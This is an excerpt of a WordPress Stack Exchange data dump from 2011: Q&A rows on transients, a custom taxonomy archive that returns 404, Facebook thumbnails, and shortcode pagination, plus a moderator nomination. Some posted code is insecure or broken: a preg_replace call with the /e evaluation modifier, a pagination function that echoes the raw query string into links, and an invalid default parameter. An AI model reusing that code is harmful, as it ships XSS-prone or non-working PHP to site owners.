  <row Id="12609" PostTypeId="2" ParentId="12605" CreationDate="2011-03-21T08:19:04.503" Score="0" ViewCount="" Body="&lt;p&gt;Transients seem to be appropriate storage. Just note that if you will generate a lot of this and they will be disposable then you &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6602/are-transients-garbage-collected&quot;&gt;will need to cleanup old transients&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your cURL/filename issue - it is bad practice to use cURL directly in WordPress. WP provides &lt;a href=&quot;http://codex.wordpress.org/HTTP_API&quot; rel=&quot;nofollow&quot;&gt;HTTP API&lt;/a&gt; that abstracts remote requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it is bit poorly documented. As far as I understand you pass cookies in arguments array with &lt;code&gt;cookies&lt;/code&gt; key to its functions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-21T08:19:04.503" CommentCount="1" />
  <row Id="12610" PostTypeId="6" CreationDate="2011-03-21T09:04:31.413" Score="0" ViewCount="" Body="&lt;p&gt;I am a Meta man. I like watching the site and the community, and thinking how we can improve it. But I also know that many people are not very interested in discussing &lt;em&gt;how&lt;/em&gt; to do something, but just &lt;em&gt;do&lt;/em&gt; it. That is great, that is what the site is all about, but that also means &lt;strong&gt;some discussions on meta stay around too long without any actual action taken as a result&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would elect me as a moderator, &lt;strong&gt;I would execute more of these actions&lt;/strong&gt;. With community discussion of course, but also &lt;strong&gt;with a timeframe&lt;/strong&gt;. Expect discussions like &lt;em&gt;&quot;We still have this problem we discussed two months ago, but no action was taken then. Unless there is any opposition, I plan to do X and Y in one week time.&quot;&lt;/em&gt; I think this is the best way to keep the decision making process democratic without letting it becoming lethargic because not enough people have the time to discuss it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been involved with Stack Overflow and its meta community (meta, the blog and the podcast) to think I know and agree with the vision of the creators and the limitations of the system. On the other hand, &lt;strong&gt;I have not been very involved in the WordPress meta community&lt;/strong&gt; (wp-hackers, development chats, WordCamps, ...), which means I don't have strong opinions (and conflicts) about what WP.org should do with its product and its community. I think this makes me see the strengths and opportunities of this platform, and keep the lines open for co-operation with the larger WordPress community and their leaders.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-21T09:04:31.413" LastActivityDate="2011-03-21T09:04:31.413" CommunityOwnedDate="2011-03-21T09:04:31.413" CommentCount="1" />
  <row Id="12611" PostTypeId="1" CreationDate="2011-03-21T09:05:22.683" Score="2" ViewCount="264" Body="&lt;p&gt;When I try to get an archive for a custom taxonomy, WP searches for a page and doesn’t find anything.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Setup&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My code from the functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'register_store_taxonomy' );&#xA;&#xA;function register_store_taxonomy()&#xA;{&#xA;    $args = array (&#xA;        'hierarchical'      =&amp;gt; TRUE&#xA;    ,   'label'             =&amp;gt; 'Store'&#xA;    ,   'public'            =&amp;gt; TRUE&#xA;    ,   'query_var'         =&amp;gt; 'store'&#xA;    ,   'rewrite'           =&amp;gt; TRUE&#xA;    ,   'show_in_nav_menus' =&amp;gt; TRUE&#xA;    ,   'show_ui'           =&amp;gt; TRUE&#xA;    );&#xA;    register_taxonomy(&#xA;            'store'&#xA;        ,   array ( 'post', 'page' )&#xA;        ,   $args&#xA;        );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have a post tagged with store &lt;strong&gt;itunes&lt;/strong&gt;. Clicking on the link to &lt;code&gt;/store/mac-store/&lt;/code&gt; should list all post in this taxonomy. And it does! On a local server (Win7).&lt;br&gt;&#xA;On the staging server (Debian with mostly identical settings), however, I get the 404 page (and the 404 status header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no pages with similar names or slugs, not even in trash. I’ve refreshed the permalinks several times. No active plugins. I tried Google but couldn’t find anything useful.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Debugging&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I added the following code to my functions.php to track the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_footer', 'dump_query' );&#xA;function dump_query()&#xA;{&#xA;    if ( current_user_can( 'edit_posts' ) )&#xA;    {&#xA;        pre_dump( $GLOBALS['wp_query'] );&#xA;    }&#xA;}&#xA;&#xA;function pre_dump( $var, $print = TRUE )&#xA;{&#xA;    $out = '&amp;lt;pre class=&quot;vardump&quot;&amp;gt;' . htmlspecialchars( var_export( $var, TRUE ) ) . '&amp;lt;/pre&amp;gt;';&#xA;&#xA;    if ( ! $print )&#xA;        return $out;&#xA;&#xA;    print $out;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Output local, working query&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WP_Query::__set_state(array(&#xA;   'query_vars' =&amp;gt; &#xA;  array (&#xA;    'store' =&amp;gt; 'itunes',&#xA;    'error' =&amp;gt; '',&#xA;    'm' =&amp;gt; 0,&#xA;    'p' =&amp;gt; 0,&#xA;    'post_parent' =&amp;gt; '',&#xA;    'subpost' =&amp;gt; '',&#xA;    'subpost_id' =&amp;gt; '',&#xA;    'attachment' =&amp;gt; '',&#xA;    'attachment_id' =&amp;gt; 0,&#xA;    'name' =&amp;gt; '',&#xA;    'static' =&amp;gt; '',&#xA;    'pagename' =&amp;gt; '',&#xA;    'page_id' =&amp;gt; 0,&#xA;    'second' =&amp;gt; '',&#xA;    'minute' =&amp;gt; '',&#xA;    'hour' =&amp;gt; '',&#xA;    'day' =&amp;gt; 0,&#xA;    'monthnum' =&amp;gt; 0,&#xA;    'year' =&amp;gt; 0,&#xA;    'w' =&amp;gt; 0,&#xA;    'category_name' =&amp;gt; '',&#xA;    'tag' =&amp;gt; '',&#xA;    'cat' =&amp;gt; '',&#xA;    'tag_id' =&amp;gt; '',&#xA;    'author_name' =&amp;gt; '',&#xA;    'feed' =&amp;gt; '',&#xA;    'tb' =&amp;gt; '',&#xA;    'paged' =&amp;gt; 0,&#xA;    'comments_popup' =&amp;gt; '',&#xA;    'meta_key' =&amp;gt; '',&#xA;    'meta_value' =&amp;gt; '',&#xA;    'preview' =&amp;gt; '',&#xA;    's' =&amp;gt; '',&#xA;    'sentence' =&amp;gt; '',&#xA;    'fields' =&amp;gt; '',&#xA;    'category__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'category__not_in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'category__and' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'post__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'post__not_in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag__not_in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag__and' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag_slug__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag_slug__and' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'meta_query' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'ignore_sticky_posts' =&amp;gt; false,&#xA;    'suppress_filters' =&amp;gt; false,&#xA;    'cache_results' =&amp;gt; true,&#xA;    'update_post_term_cache' =&amp;gt; true,&#xA;    'update_post_meta_cache' =&amp;gt; true,&#xA;    'post_type' =&amp;gt; '',&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'nopaging' =&amp;gt; false,&#xA;    'comments_per_page' =&amp;gt; '50',&#xA;    'no_found_rows' =&amp;gt; false,&#xA;    'taxonomy' =&amp;gt; 'store',&#xA;    'term' =&amp;gt; 'itunes',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'orderby' =&amp;gt; 'wp_posts.post_date DESC',&#xA;  ),&#xA;   'tax_query' =&amp;gt; &#xA;  WP_Tax_Query::__set_state(array(&#xA;     'queries' =&amp;gt; &#xA;    array (&#xA;      0 =&amp;gt; &#xA;      array (&#xA;        'taxonomy' =&amp;gt; 'store',&#xA;        'terms' =&amp;gt; &#xA;        array (&#xA;          0 =&amp;gt; 'itunes',&#xA;        ),&#xA;        'include_children' =&amp;gt; true,&#xA;        'field' =&amp;gt; 'slug',&#xA;        'operator' =&amp;gt; 'IN',&#xA;      ),&#xA;    ),&#xA;     'relation' =&amp;gt; 'AND',&#xA;  )),&#xA;   'post_count' =&amp;gt; 1,&#xA;   'current_post' =&amp;gt; -1,&#xA;   'in_the_loop' =&amp;gt; false,&#xA;   'comment_count' =&amp;gt; 0,&#xA;   'current_comment' =&amp;gt; -1,&#xA;   'found_posts' =&amp;gt; '1',&#xA;   'max_num_pages' =&amp;gt; 1,&#xA;   'max_num_comment_pages' =&amp;gt; 0,&#xA;   'is_single' =&amp;gt; false,&#xA;   'is_preview' =&amp;gt; false,&#xA;   'is_page' =&amp;gt; false,&#xA;   'is_archive' =&amp;gt; true,&#xA;   'is_date' =&amp;gt; false,&#xA;   'is_year' =&amp;gt; false,&#xA;   'is_month' =&amp;gt; false,&#xA;   'is_day' =&amp;gt; false,&#xA;   'is_time' =&amp;gt; false,&#xA;   'is_author' =&amp;gt; false,&#xA;   'is_category' =&amp;gt; false,&#xA;   'is_tag' =&amp;gt; false,&#xA;   'is_tax' =&amp;gt; true,&#xA;   'is_search' =&amp;gt; false,&#xA;   'is_feed' =&amp;gt; false,&#xA;   'is_comment_feed' =&amp;gt; false,&#xA;   'is_trackback' =&amp;gt; false,&#xA;   'is_home' =&amp;gt; false,&#xA;   'is_404' =&amp;gt; false,&#xA;   'is_comments_popup' =&amp;gt; false,&#xA;   'is_paged' =&amp;gt; false,&#xA;   'is_admin' =&amp;gt; false,&#xA;   'is_attachment' =&amp;gt; false,&#xA;   'is_singular' =&amp;gt; false,&#xA;   'is_robots' =&amp;gt; false,&#xA;   'is_posts_page' =&amp;gt; false,&#xA;   'is_post_type_archive' =&amp;gt; false,&#xA;   'parsed_tax_query' =&amp;gt; true,&#xA;   'query' =&amp;gt; &#xA;  array (&#xA;    'store' =&amp;gt; 'itunes',&#xA;  ),&#xA;   'request' =&amp;gt; ' SELECT SQL_CALC_FOUND_ROWS  wp_posts.* FROM wp_posts  INNER JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) WHERE 1=1  AND ( wp_term_relationships.term_taxonomy_id IN (135,134,133,132,131,130,129,128,125) ) AND wp_posts.post_type IN (\'post\', \'page\', \'attachment\') AND (wp_posts.post_status = \'publish\' OR wp_posts.post_author = 7 AND wp_posts.post_status = \'private\') GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 10',&#xA;   'posts' =&amp;gt; &#xA;  array ( /* cut out */),&#xA;   'queried_object' =&amp;gt; &#xA;  stdClass::__set_state(array(&#xA;     'term_id' =&amp;gt; '124',&#xA;     'name' =&amp;gt; 'iTunes',&#xA;     'slug' =&amp;gt; 'itunes',&#xA;     'term_group' =&amp;gt; '0',&#xA;     'term_taxonomy_id' =&amp;gt; '125',&#xA;     'taxonomy' =&amp;gt; 'store',&#xA;     'description' =&amp;gt; '',&#xA;     'parent' =&amp;gt; '0',&#xA;     'count' =&amp;gt; '1',&#xA;  )),&#xA;   'queried_object_id' =&amp;gt; 124,&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Output staging server, broken query&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WP_Query::__set_state(array(&#xA;   'query_vars' =&amp;gt; &#xA;  array (&#xA;    'page' =&amp;gt; 0,&#xA;    'pagename' =&amp;gt; 'itunes',&#xA;    'error' =&amp;gt; '',&#xA;    'm' =&amp;gt; 0,&#xA;    'p' =&amp;gt; 0,&#xA;    'post_parent' =&amp;gt; '',&#xA;    'subpost' =&amp;gt; '',&#xA;    'subpost_id' =&amp;gt; '',&#xA;    'attachment' =&amp;gt; '',&#xA;    'attachment_id' =&amp;gt; 0,&#xA;    'name' =&amp;gt; 'itunes',&#xA;    'static' =&amp;gt; '',&#xA;    'page_id' =&amp;gt; 0,&#xA;    'second' =&amp;gt; '',&#xA;    'minute' =&amp;gt; '',&#xA;    'hour' =&amp;gt; '',&#xA;    'day' =&amp;gt; 0,&#xA;    'monthnum' =&amp;gt; 0,&#xA;    'year' =&amp;gt; 0,&#xA;    'w' =&amp;gt; 0,&#xA;    'category_name' =&amp;gt; '',&#xA;    'tag' =&amp;gt; '',&#xA;    'cat' =&amp;gt; '',&#xA;    'tag_id' =&amp;gt; '',&#xA;    'author_name' =&amp;gt; '',&#xA;    'feed' =&amp;gt; '',&#xA;    'tb' =&amp;gt; '',&#xA;    'paged' =&amp;gt; 0,&#xA;    'comments_popup' =&amp;gt; '',&#xA;    'meta_key' =&amp;gt; '',&#xA;    'meta_value' =&amp;gt; '',&#xA;    'preview' =&amp;gt; '',&#xA;    's' =&amp;gt; '',&#xA;    'sentence' =&amp;gt; '',&#xA;    'fields' =&amp;gt; '',&#xA;    'category__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'category__not_in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'category__and' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'post__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'post__not_in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag__not_in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag__and' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag_slug__in' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'tag_slug__and' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;    'ignore_sticky_posts' =&amp;gt; false,&#xA;    'suppress_filters' =&amp;gt; false,&#xA;    'cache_results' =&amp;gt; true,&#xA;    'update_post_term_cache' =&amp;gt; true,&#xA;    'update_post_meta_cache' =&amp;gt; true,&#xA;    'post_type' =&amp;gt; '',&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'nopaging' =&amp;gt; false,&#xA;    'comments_per_page' =&amp;gt; '50',&#xA;    'no_found_rows' =&amp;gt; false,&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'orderby' =&amp;gt; 'wp_posts.post_date DESC',&#xA;  ),&#xA;   'tax_query' =&amp;gt; &#xA;  WP_Tax_Query::__set_state(array(&#xA;     'queries' =&amp;gt; &#xA;    array (&#xA;    ),&#xA;     'relation' =&amp;gt; 'AND',&#xA;  )),&#xA;   'post_count' =&amp;gt; 0,&#xA;   'current_post' =&amp;gt; -1,&#xA;   'in_the_loop' =&amp;gt; false,&#xA;   'comment_count' =&amp;gt; 0,&#xA;   'current_comment' =&amp;gt; -1,&#xA;   'found_posts' =&amp;gt; 0,&#xA;   'max_num_pages' =&amp;gt; 0,&#xA;   'max_num_comment_pages' =&amp;gt; 0,&#xA;   'is_single' =&amp;gt; false,&#xA;   'is_preview' =&amp;gt; false,&#xA;   'is_page' =&amp;gt; false,&#xA;   'is_archive' =&amp;gt; false,&#xA;   'is_date' =&amp;gt; false,&#xA;   'is_year' =&amp;gt; false,&#xA;   'is_month' =&amp;gt; false,&#xA;   'is_day' =&amp;gt; false,&#xA;   'is_time' =&amp;gt; false,&#xA;   'is_author' =&amp;gt; false,&#xA;   'is_category' =&amp;gt; false,&#xA;   'is_tag' =&amp;gt; false,&#xA;   'is_tax' =&amp;gt; false,&#xA;   'is_search' =&amp;gt; false,&#xA;   'is_feed' =&amp;gt; false,&#xA;   'is_comment_feed' =&amp;gt; false,&#xA;   'is_trackback' =&amp;gt; false,&#xA;   'is_home' =&amp;gt; false,&#xA;   'is_404' =&amp;gt; true,&#xA;   'is_comments_popup' =&amp;gt; false,&#xA;   'is_paged' =&amp;gt; false,&#xA;   'is_admin' =&amp;gt; false,&#xA;   'is_attachment' =&amp;gt; false,&#xA;   'is_singular' =&amp;gt; false,&#xA;   'is_robots' =&amp;gt; false,&#xA;   'is_posts_page' =&amp;gt; false,&#xA;   'is_post_type_archive' =&amp;gt; false,&#xA;   'parsed_tax_query' =&amp;gt; true,&#xA;   'query' =&amp;gt; &#xA;  array (&#xA;    'page' =&amp;gt; '',&#xA;    'pagename' =&amp;gt; 'store/itunes',&#xA;  ),&#xA;   'request' =&amp;gt; ' SELECT   wp_posts.* FROM wp_posts  WHERE 1=1  AND (wp_posts.ID = \'0\') AND wp_posts.post_type = \'page\'  ORDER BY wp_posts.post_date DESC ',&#xA;   'posts' =&amp;gt; &#xA;  array (&#xA;  ),&#xA;   'queried_object' =&amp;gt; NULL,&#xA;   'queried_object_id' =&amp;gt; 0,&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I feel that I miss something obvious, but I’m lost right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are: How can I make WP search the taxonomy archive? Why does it work on one server, but not on the other?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Permalinks are set to &lt;code&gt;/%year%/%postname%/&lt;/code&gt; on both servers and I flushed the rewrite rules on &lt;code&gt;init&lt;/code&gt; per:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$GLOBALS['wp_rewrite']-&amp;gt;flush_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;using the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules&quot;&gt;Rewrite Analyzer plugin&lt;/a&gt; from @&lt;em&gt;Jan Fabry&lt;/em&gt; I compared the rules on my local installation and on the staging server. On the latter, the rules are absent.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Rewrite rules local&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;store/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$            store: ([^/]+)&#xA;           feed: (feed|rdf|rss|rss2|atom)&#xA;store/([^/]+)/(feed|rdf|rss|rss2|atom)/?$             store: ([^/]+)&#xA;           feed: (feed|rdf|rss|rss2|atom)&#xA;store/([^/]+)/page/?([0-9]{1,})/?$            store: ([^/]+)&#xA;          paged: ([0-9]{1,})&#xA;store/([^/]+)/?$              store: ([^/]+)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I really have to add the rules manually? Usually &lt;code&gt;register_taxonomy()&lt;/code&gt; should do that, shouldn’t it? &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Workaround&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bah! I used a workaround to add the missing rewrite rules per functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'add_taxrules_manually' );&#xA;function add_taxrules_manually()&#xA;{&#xA;    $tax           = 'store';&#xA;    $rewrite_rules = get_option( 'rewrite_rules' );&#xA;&#xA;    if ( isset ( $rewrite_rules[ $tax . '/([^/]+)/?$' ] ) )&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    $new_rules = array (&#xA;        $tax . '/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' =&amp;gt; 'index.php?' . $tax . '=$matches[1]&amp;amp;feed=$matches[2]',&#xA;        $tax . '/([^/]+)/(feed|rdf|rss|rss2|atom)/?$'      =&amp;gt; 'index.php?' . $tax . '=$matches[1]&amp;amp;feed=$matches[2]',&#xA;        $tax . '/([^/]+)/page/?([0-9]{1,})/?$'             =&amp;gt; 'index.php?' . $tax . '=$matches[1]&amp;amp;paged=$matches[2]',&#xA;        $tax . '/([^/]+)/?$'                               =&amp;gt; 'index.php?' . $tax . '=$matches[1]',&#xA;    );&#xA;&#xA;    $update = array_merge( $new_rules, $rewrite_rules );&#xA;    update_option( 'rewrite_rules', $update );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; The new rules must come before the page rules. Changing the order of arguments in &lt;code&gt;array_merge()&lt;/code&gt; will not fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is still open, because I just &lt;em&gt;have&lt;/em&gt; to understand what happens here.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-03-21T11:26:33.733" LastActivityDate="2011-08-19T10:32:05.677" Title="Page queried instead of a custom taxonomy" Tags="&lt;custom-taxonomy&gt;&lt;page&gt;&lt;wp-query&gt;&lt;archive&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" />
  <row Id="12612" PostTypeId="2" ParentId="12611" CreationDate="2011-03-21T09:28:40.093" Score="0" ViewCount="" Body="&lt;p&gt;Did you flush the rewrite rules?&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-21T09:28:40.093" CommentCount="3" />
  <row Id="12613" PostTypeId="1" AcceptedAnswerId="12628" CreationDate="2011-03-21T10:17:50.640" Score="0" ViewCount="149" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://www.fedmich.com/tools/facebook-and-digg-thumbnail-generator&quot; rel=&quot;nofollow&quot;&gt;Facebook and Digg Thumbnail generator&lt;/a&gt; and [FaceBook Share (New)],&#xA;&lt;a href=&quot;http://www.appointy.com/web/facebookshare&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see if the image is 100px the thumbail is displayed when I press the share button: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/mNxA8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with an image with 300px of width:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Dkr1X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thumb preview doesn't appear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ERsY9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;front-page.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Front Page&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;tagline&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #tagline --&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;                    &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;            &amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;                &amp;lt;div id=&quot;prev&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div id=&quot;next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #content-bottom --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestion to solve this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-20T15:18:48.760" Title="Facebook is only displaying preview thumbnails that are 100px from my posts?" Tags="&lt;post-thumbnails&gt;&lt;facebook&gt;" AnswerCount="2" />
  <row Id="12614" PostTypeId="1" CreationDate="2011-03-21T10:44:15.173" Score="0" ViewCount="275" Body="&lt;p&gt;I have created a function to use as a shortcode to allow me to display a specific post type on my page.&#xA;The function works well, but I would like to the results to be paged, and the navigation only to appear if needed.&#xA;her is my current code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;extract(shortcode_atts(array(&quot;country&quot; =&gt; '' ), $atts));&#xA;$country = preg_replace('~&amp;#x0*([0-9a-f]+);~ei', 'chr(hexdec(&quot;\\1&quot;))', $country );  &#xA;$argsq = array ('post_type' =&gt; 'quote',&#xA;                    'country' =&gt; $country,&#xA;                'orderby' =&gt; 'meta_value' &#xA;              );&#xA;&#xA;&#xA;$testim= get_posts($argsq );&#xA;$output = '';&#xA;foreach ($testim as $testim_post){&#xA;&#xA;$output .= &quot;&quot;;&#xA;$output .= &quot;&lt;b&gt;&quot;.$testim_post-&gt;post_content.&quot;&lt;/b&gt;&lt;br /&gt;&quot;;&#xA;$output .= $testim_post-&gt;post_title;&#xA;$output .= &quot;&quot;;         &#xA;}   &#xA;return $output; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2011-08-18T21:26:45.330" Title="Paging result of get_posts in function" Tags="&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="12615" PostTypeId="2" ParentId="12604" CreationDate="2011-03-21T11:01:09.933" Score="2" ViewCount="" Body="&lt;p&gt;WordPress by default creates category  archive that lists all of the category's posts, but if you want to do that in a page then take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/list-category-posts/&quot; rel=&quot;nofollow&quot;&gt;List category posts&lt;/a&gt; plugin &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;which allows you to list posts from a category into a post/page using the [catlist] shortcode. This shortcode accepts a category name or id, the order in which you want the posts to display, and the number of posts to display. You can use [catlist] as many times as needed with different arguments.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-21T11:01:09.933" />
  <row Id="12616" PostTypeId="2" ParentId="12217" CreationDate="2011-03-21T11:07:04.170" Score="0" ViewCount="" Body="&lt;p&gt;The solution to this isn't really that publicised, but it should be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can do the following:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args['tax_query'] = array(&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'category',&#xA;        'terms' =&amp;gt; array('cat', 'dog'),&#xA;        'field' =&amp;gt; 'slug',&#xA;        'operator' =&amp;gt; 'NOT IN',&#xA;    ),&#xA;);&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The operator argument can take other terms, but the above code is basically saying get all posts from the taxonomy 'category' that don't have the terms 'cat' or 'dog'.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-03-21T11:07:04.170" CommentCount="4" />
  <row Id="12617" PostTypeId="2" ParentId="12614" CreationDate="2011-03-21T11:30:46.787" Score="1" ViewCount="" Body="&lt;p&gt;add this pagination function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pagination( $query, $baseURL = get_bloginfo( $url ), $echo = true ) {  &#xA;    $page = $query-&amp;gt;query_vars[&quot;paged&quot;];  &#xA;    if ( !$page ) $page = 1;  &#xA;    $qs = $_SERVER[&quot;QUERY_STRING&quot;] ? &quot;?&quot;.$_SERVER[&quot;QUERY_STRING&quot;] : &quot;&quot;;  &#xA;    // Only necessary if there's more posts than posts-per-page  &#xA;    if ( $query-&amp;gt;found_posts &amp;gt; $query-&amp;gt;query_vars[&quot;posts_per_page&quot;] ) {  &#xA;        $re = '&amp;lt;ul class=&quot;paging&quot;&amp;gt;'; &#xA;        // Previous link? &#xA;        if ( $page &amp;gt; 1 ) { &#xA;            $re .= '&amp;lt;li class=&quot;previous&quot;&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.($page-1).'/'.$qs.'&quot;&amp;gt;« previous&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;'; &#xA;        } &#xA;         // Loop through pages &#xA;        for ( $i=1; $i &amp;lt;= $query-&amp;gt;max_num_pages; $i++ ) { &#xA;            // Current page or linked page? &#xA;            if ( $i == $page ) { &#xA;                $re .= '&amp;lt;li class=&quot;active&quot;&amp;gt;'.$i.'&amp;lt;/li&amp;gt;'; &#xA;            } else { &#xA;         